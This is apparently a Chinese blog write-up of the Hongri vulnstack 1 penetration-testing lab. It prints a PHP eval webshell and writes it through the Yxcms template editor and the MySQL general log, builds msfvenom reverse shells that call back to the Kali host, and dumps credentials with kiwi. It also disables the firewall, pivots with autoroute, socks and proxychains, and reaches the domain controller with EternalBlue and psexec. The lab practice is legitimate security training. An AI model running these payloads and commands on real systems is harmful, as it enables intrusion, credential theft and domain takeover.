红日安全vulnstack (一)

目录

环境搭建

本机双网卡

[Kali IP](#Kali IP)

靶机IP

[Web GetShell](#Web GetShell)

前期信息收集

[Yxcms后台模板 Getshell](#Yxcms后台模板 Getshell)

[PHPMyAdmin日志 Getshell](#PHPMyAdmin日志 Getshell)

[into outfile写入一句话 X](#into outfile写入一句话 X)

[phpmyadmin 日志写入一句话](#phpmyadmin 日志写入一句话)

后渗透

[MSF 生成木马上线](#MSF 生成木马上线)

提取用户hash值

**hash**加密方式

MSF权限Shell至CS

[CS 生成木马上线](#CS 生成木马上线)

提权system

信息收集

域信息收集

CS权限shell至MSF

横向移动

MSF

MSF路由+Socks模块代理通讯

ms17_010永恒之蓝445

CS

创建SMB监听器横向

横向移动psexec


网络拓扑图

靶机参考文章

CS/MSF派发shell

环境搭建

IP搭建教程

本机双网卡

65网段和83网段是自己本机电脑(虚拟机)中的网卡, 靶机外网的IP需要借助我们这两个网段之一出网

Kali IP

kali地址网络适配器选择,为VMnetNAT模式会通过DHCP 自动获取IP,本机65网卡会自动分配IP 和靶机win7同网段

简单来说,桥接模式是独立内网IP,NAT模式则是利用物理机的地址分配一个IP和物理同一个网段,双网卡就是一个情况,一个网段出网络,一个不出网,不出网IP为内网网段,或者自定义也是独立的地址

192.168.65.148 // kali 地址

扫描win7出网机开放端口,处于同一个网段可以扫描到

靶机IP

解压后出现后最vmx后缀文件,打开虚拟机自己弄好 初始密码为hongrisec@2019

已经全部修改为saber.1029

【注意】实际上域环境三台虚拟机的 IP 初始状态就已经被配置为固定的 192.168.52.XXX/24网段(同时已配置好域控 IP 必定为 192.168.52.138),故 VMware 仅主机模式的 VMnet1 网卡应注意也配置为 192.168.52.XXX/24 网段

IP地址

|---------------|------------------------------------------------------------------------|
| | |
| 主机 | IP地址 |
| kali 攻击机 | 192.168.65.148(虚拟机VMnet8网卡) 本机双网卡=WIFi IP+kali IP 65+内部IP 172.28.160.1 |
| Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 提权后IP变为65.155 |
| Win2003 域成员机 | 192.168.52.141 (不出网IP固定52网段) |
| Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |

攻击机与win7 可以互相ping通出网,如果出现Ping不同可能是win7防火墙未关闭或未开机

Web GetShell

前期信息收集

win7机器打开小皮服务否则nmap无法扫描80端口和 3306

arp-scan-l    //  kali前期使用该命令扫出同有一网段下其他主机


xxxxx       // 确定了win7 IP 地地址为  192.168.65.154

扫描win7外网IP地址,目标开放了80``3306 端口

nmap 192.168.65.154

kali访问 80端口 phpinfo()页面: 自己主机也是可以访问到此页面,本身就是同一个网段,win7网段是物理机给予的

御剑目录扫描出数据库管理后台和beifen.rar文件路径

http://192.168.65.154/PhpMyAdmin
http://192.168.65.154/beifen.rar

压缩包config.php给出了数据库的账户密码信息

Yxcms后台模板 Getshell

下载压缩包解压后根据文件夹名称判断是个cms 拼接访问

主页公告信息泄露出了后台管理的地址和账户密码访问后登录即可

http://192.168.65.154/yxcms/index.php?r=admin

账户:admimm

密码:123456

登录后台找到前台模板进行编辑写一句话木马蚁剑联机.

选择编辑的文件为index_index.php 猜测应该是网站起始吧最好找路径

一句话🐎

<?php eval($_POST["cmd"]);
phpinfo(); // 添加打印函数佐证
echo 'aaaaa'; // 输出 aaaaa
?>

访问网站前台马子上线,掏出蚁剑连接,取得webshell

PHPMyAdmin日志 Getshell

数据库登录如果无密码只能尝试弱口令了,这里是应该前期找文件已经有了密码直接登录就行了

账号: root 

密码: root

into outfile写入一句话 X

INTO OUTFILE是MySQL数据库中的一个语句,它可以将查询结果写入到文件中

条件

  1. root权限
  2. 知道绝对路径
  3. secure_file_priv没有具体值

使用INTO OUTFILE将结果写入到文件中

SELECT 'Hello, world!' AS message INTO OUTFILE '/path/to/file.txt';

这样文件"/path/to/file.txt"的内容将变为:

Hello, world!

前期通过最高权限的账号登录了,并且源码泄露和phpinfo()已经知道了绝对路径,查secure_fiel_priv

show global variables like "%secure%"; // 查询

value为"null"时,不允许读取任意文件

value为"空"时,允许读取任意文件

这里值为null无法执行

phpmyadmin 日志写入一句话

使用语句查询路径,这是已经修改过的

show global variables like "%general%";

使用命令修改配置开关和路径

set global general_log="on";                //开启日志,修改为on

//修改日志路径(在上面提到的phpinfo.php中有泄露路径)

set global general_log_file="C:/phpStudy/WWW/a.php";

利用日志写入一句话木马位置是在网站www 根目录下的a.php 直接访问连接

SELECT'<?php eval($_POST["cmd"]);?>'

蚁剑连接成功取得webshell

后渗透

MSF 生成木马上线

Kali进入MSF生成shell.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.148  LPORT=1111 -f exe -o shell.exe

// -p为指定payload,使用msf的payload的时候要和这个相同,
//lhost为Kali ip,lport为 自定义端口,-f为payload类型为exe

拷贝木马使用蚁剑将文件上传到win7目录下

msf开启监听回响用handler模块接收反弹模块

use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.65.148
set lport 1111
exploit

蚁剑虚拟终端运行exe文件 MSF成功反弹shell

反弹shell后先查看当前用户,而后通过getsystem命令直接进行提权到系统权限

getuid // 获取当前用户ID


getsystem // 用于获取系统权限的命令,通常在渗透测试中用于尝试提升当前用户权限至系统管理员权限。
          // 这个命令通常在攻击者已经获得一定权限的情况下使用,以获取更高级别的权限。在实际操作中,getsystem命令可能会利用系统中的漏洞或弱点,以获取系统管理员权限

提取用户hash

run post/windows/gather/smart_hashdump   // 提取命令

load kiwi // 加载抓取密码工具

creds_all  // 抓取

hash加密方式

Windows系统中,哈希密码的格式通常为:用户名称:RID:LM-HASH值:NT-HASH值。
其中,NT-HASH是通过以下步骤生成的:

1. 将明文口令转换成十六进制的格式。
2. 将转换后的十六进制字符串转换成Unicode格式,即在每个字节之后添加0x00。
3. 对Unicode格式的字符串进行MD4加密,生成32位的十六进制数字串

举例来说,如果用户密码为test123,首先将其转换成十六进制的格式为74657374313233
然后转换成Unicode格式为7400650073007400310032003300。
最后,对Unicode字符串7400650073007400310032003300进行MD4加密,
得到NT-HASH值为c5a237b7e9d8e708d8436b6148a25fa1。

这个NT-HASH值可以用于验证用户的身份而无需存储明文密码。

run post/windows/manage/enable_rdp  // 开启3389远程桌面

nmap 探测属于3389端口处于开启状态

sessions -i  # 查看所有会话 这个要回到msf模块下才能看到

sessions 1  # 选择为此ID为1的会话

MSF权限ShellCS

开启CS 物理机Windows作为客户端 Kali作为服务端启动

创建监听器,端口号需和IP需和MSF监听设置一致,这里的IPkali地址

MSF 执行命令派发

bg  # 退出回到反弹模块
use exploit/windows/local/payload_inject # 本地漏洞利用模块payload_inject。这个模块通常用于在目标系统上注入恶意代码或payload
set payload windows/meterpreter/reverse_http # :设置payload 表示在目标系统上使用Meterpreter反向HTTP负载。这将允许建立一个反向连接
set DisablePayloadHandler true   #payload_inject执行之后会在本地产生一个新的handler,设置为true表示不重复生成
set lhost 192.168.65.148                #公网vps ip 也看就是Kali地址
set lport 80                 #监听端口需和CS设置一直
set session 1                   #派发session 为1 也就是第一个会话 通过会话列表可以查看
exploit

CS客户端成功收到反弹shell

CS 生成木马上线

CS 生成非常简单,参考前文过程,生成的木马通过前文的蚁剑上传win7运行即可,上线,后续对win7信息收集和横向移动其他域内其他主机

**蚁剑下操作**


dir   // 列出当前目录下所有文件
.\beacon.exe // 运行木马文件 CS 成功上线

提权system

  • svc-exe 提权

1.创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。

2.创建一个进程,并让进程创建命名管道。

3.让之前的以system权限启动的程序启动并连接这个命名管道。

4.利用ImpersonateNamedPipeClient()函数生成system权限的token。

5.利用system权限的token启动cmd.exe

信息收集

sleep 0  // 修改心跳速度为0 立马响应


shell systeminfo  // 查看主机系统详细信息

查看进行和防火墙开启状态是为了判断是是否有防护软件,但是显然是没有的,不然CS生成无免杀的马子是不能上传到win7服务器

shell tasklist // 查看被控主机进程列表
shell netsh firewall show state  // 查看防火墙状态是否开启,操作模式为禁用代表防火墙为关闭状态


出现命令提示:

Microsoft已经将防火墙管理工具从"netsh firewall"迁移到了"netsh advfirewall firewall"。
这种更改可能是为了提高安全性、功能性或性能等方面的考虑
shell netsh advfirewall set allprofile state off // 完全关闭防火墙命令

域信息收集

shell net config Workstation  // 查看域信息
shell  view  // 查看当前域内列表,点击上方定位圆圈就可以看到
net dclist // 查看域控列表

抓取凭证hash``win7主机3个用户账户密码

抓取明文密码

CS权限shellMSF

MSF开启监听模块,使用一个端口进行监听

msfconsole // 开启MSF
use exploit/multi/handler  // 使用监听模块
set payload windows/meterpreter/reverse_http // 反向连接 CS将得到的权限反弹至MSF,协议和监听器一致
set lhost 0.0.0.0  // IP地址为任意的 任意地址流量都可以反弹
set lport 6666// 端口和监听器设置一致 
run  // 开启监听

CS这里是已经通过反向木马得到了shell,生成的木马监听器就是HTTP的,所以权限给msf时,新建的监听器还是HTTP

CS在需要委派的权限主机右键新建会话,则选择新的监听器为我们创建的

横向移动

横向渗透,使攻击机利用win7做跳板直接通讯到域控,利用win7为媒介

|---------------|-------------------------------------------|
| | |
| kali 攻击机 | 192.168.65.148 |
| Win7外网服务器 | 外网IP 192.168.65.154 / 内网IP 192.168.52.143 |
| Win2008 DC 域控 | 192.168.52.138 (不出网IP固定52网段) |

MSF

MSF路由+Socks模块代理通讯

横向渗透前,将win7作为跳板机,将其内网52网段添加到路由,利用msf路由和socks配置让同一网段的机器可以通讯到

route // 打印当前路由
run post/multi/manage/autoroute  // 在当前会话自带添加路由 (攻击机添加一个网段和被控主机一个网段 52网段)
run autoroute -p  // 查看当前路由 已经添加好了52网段

设置proxychains代理,,现在只是msf工具以使用,但的工具还是没有通讯的,所以再次建立一个路由

bg // 退回msfshell模式

use auxiliary/server/socks_proxy   // 使用socks代理 // 改名字了和之前小迪做的不一样

show options  // 查看设置
set srvhost 127.0.0.1  // 设置代理为本地

set srvport 888  // 有点问题再开了一个代理 端口为888如果不改的话默认1080和代理文件是一样的默认

run  //  执行

jobs  // 查看后台任务

找到proxychains4.conf文件因为不会vim操作起来很不舒服,定位到端口位置,点击x后可以删除,点击i开始添加对应的端口号 和前文设置一致

ms17_010永恒之蓝445

昨晚配置路由和socks之后正常是kali是可以接收到52网段的流量,然后使用nmap探测开放端口,会探测到445然后打永恒之蓝得到权限

socks开启监听一个端口,将此流量转发给msf因为端口号设置一致,msf添加了路由,所以流量又被带入内网中,在kali中的工具都可以监听到

proxychains  nmap -Pn -sT 192.168.52.138

xxxx 发现存在445端口

检测永恒之蓝可能存在的地址

search ms17-010 
use auxiliary/scanner/smb/smb_ms17_010  // 永恒之蓝漏洞扫描检测模块
set rhosts 192.168.3.21-32  // 检测此IP范围内
run

命令行出现 Host 漏洞可能存在,使用漏洞攻击模块进行攻击

这里域控密码忘记了登录补上.但总的就是这个意思了,先设置跳板机和sosks进行通讯,而后通过开放的端口利用永恒之蓝去打域控,打下了域控也就是差不多了

use exploit/windows/smb/ms17_010_eternalblue  // use 0 // 利用模块

set payload windows/x64/meterpreter/reverse_tcp // 设置攻击载荷反向

set lhost 192.168.52.143  //  地址为 跳板机win7地址,因为要通过它去打域控地址 138

set rhosts 192.168.52.138  //  被攻击的地址为域控

set lport  5555 // 随意选择kali一个端口进行监听

run  // 运行即可

CS

创建SMB监听器横向

SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效(系统防火墙默认是允许445的端口与外界通信的,其他端口可能会弹窗提醒,会导致远程命令行反弹shell失败),此流量封装在SMB协议中

DC域控进行横向移动利用先前抓取的明文密码,配合SMB监听器,

运行后直接用抓取到的明文去移动直接正向连接域控主机,接下来可以拿域控去打另外一台机器,这是第一种派生方式,第二种beacon 上创建监听,用来作为跳板进行内网穿透 前提是能够通过 shell 之类访问到内网其他主机

横向移动psexec

感觉这个就是拿明文去移动启动机器了,psexec属于登录命令,在有密码情况下远程登录其他主机执行命令

简单粗暴拿下

相关推荐
duliduli121915 分钟前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
TIKTOKER216 分钟前
当遇到 502 错误(Bad Gateway)怎么办
网络安全
Gnevergiveup34 分钟前
源鲁杯2024赛题复现Web Misc部分WP
安全·网络安全·ctf·misc
Yue1one3 小时前
CSRF 点击劫持
web安全·网络安全
网安_秋刀鱼3 小时前
CSRF防范及绕过
前端·安全·web安全·网络安全·csrf·1024程序员节
小麦黑客笔记5 小时前
2024年最新自学手册 -网络安全(黑客技术)
开发语言·网络·安全·web安全·网络安全
kuber09095 小时前
雷池社区版配置同步试用
网络安全
IT香菜不是菜6 小时前
雷池社区版配置同步试用
网络安全